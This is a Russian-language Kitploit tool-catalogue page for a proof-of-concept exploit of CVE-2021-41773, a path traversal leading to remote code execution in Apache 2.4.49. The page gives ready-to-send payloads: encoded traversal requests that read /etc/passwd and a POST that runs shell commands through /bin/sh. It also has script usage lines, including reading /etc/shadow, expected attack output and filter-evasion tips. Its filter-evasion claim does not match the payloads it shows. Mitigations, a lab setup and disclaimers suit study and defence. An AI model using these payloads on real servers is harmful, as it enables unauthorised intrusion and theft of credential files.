Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Инструменты/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Только для использования в контролируемых и собственных средах. Не применять против систем без разрешения.


Описание

PoC разработан для демонстрации и понимания уязвимости CVE-2021-41773, присутствующей в Apache HTTP Server 2.4.49.

Ошибка находится в функции ap_normalize_path(), которая неправильно проверяла символы, закодированные в URL. Это позволяло атакующему выйти за пределы DocumentRoot с помощью последовательности закодированных символов (%2e%2e%2f вместо ../), читая произвольные файлы системы.

Когда модуль mod_cgi был включён, уязвимость перерастала в RCE (Remote Code Execution), позволяя выполнять команды непосредственно на сервере с правами процесса Apache.


Необходимые условия для эксплуатации

Сервер должен удовлетворять всем следующим условиям, чтобы быть уязвимым:

УсловиеДетали
Версия ApacheТочно 2.4.49
Директива доступаRequire all granted в конфигурации
Модуль CGImod_cgi включён (только для RCE)

Как работает атака

Фаза 1 — Path Traversal

Apache 2.4.49 отфильтровывал классический ../, но не его URL-кодированную версию. Атакующий формирует путь, который не обнаруживается фильтром, но корректно интерпретируется операционной системой:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f — это URL-кодировка ../. Apache пропускал её, ОС разрешала, и в результате получался доступ к файлам вне веб-директории.

Фаза 2 — RCE via mod_cgi

При активном mod_cgi обход пути используется для указания на /bin/sh вместо файла. Apache обрабатывает его как CGI-скрипт и выполняет. Команда передаётся в теле POST как минимальный shell-скрипт:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

Вывод команды приходит в HTTP-ответе.


Тестовая среда

Самый чистый способ воспроизвести уязвимость — с помощью Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

Или с ручным образом Apache 2.4.49 с уязвимой конфигурацией:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

Оставлю здесь файлы конфигурации, которые я использовал для теста.

Технические решения для эксплойта

  • Почему urllib3, а не requests?

    requests автоматически перекодирует символы пути перед отправкой. Это ломает полезную нагрузку, так как сервер получает %252e вместо %2e. urllib3 позволяет отправлять путь без изменений.

  • Почему .%2e/, а не %2e%2e/?
    Apache фильтрует %2e%2e/ в модуле mod_rewrite. Вариант .%2e/ семантически эквивалентен, но проходит фильтр, потому что нормализация пути происходит после проверки.

Ограничения

  • Модуль mod_cgi должен быть включён, чтобы режим RCE работал. Без него возможен только обход пути.
  • Эксплойт не работает, если Apache находится за WAF, который фильтрует двойное кодирование в пути.
  • Протестирован только против Apache 2.4.49 на Linux. Версия 2.4.50 требует дополнительного обхода (см. CVE-2021-42013).

Использование скрипта

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <команда>]

Аргументы

Примеры

Чтение /etc/passwd с сервера

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Выполнение команды 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Выполнение команды с пробелами

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Ожидаемый вывод — режим traversal

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC с образовательными целями — только в собственных средах
=======================================================

[+] Режим: Path traversal
[+] Цель: http://localhost:8080
[+] Сформированный URL: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Отправка запроса...

Сервер уязвим, Status code: 200
=== Содержимое /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Ожидаемый вывод — режим rce

root@kitploit:~
[+] Режим: RCE via mod_cgi
[+] Цель: http://localhost:8080
[+] Команда: id
[+] Отправка запроса...

[+] RCE подтверждено

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Меры по смягчению

  • Обновить Apache до версии 2.4.51 или выше.
  • Установить Require all denied как значение по умолчанию.
  • Отключить mod_cgi, если он не является строго необходимым.

Ссылки

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ Этот репозиторий предназначен исключительно для образовательных целей.
Использование данного эксплойта против систем без явного разрешения незаконно.
Протестировано исключительно в локальных контролируемых средах.

PoC разработан с образовательными целями для портфолио по кибербезопасности.

Скачать инструмент
АргументОбязателенОписание
--targetДаБазовый URL сервера (например, http://localhost:8080)
--modeДаtraversal для чтения файлов, rce для выполнения команд
--cmdНетКоманда для выполнения в режиме rce (по умолчанию: id)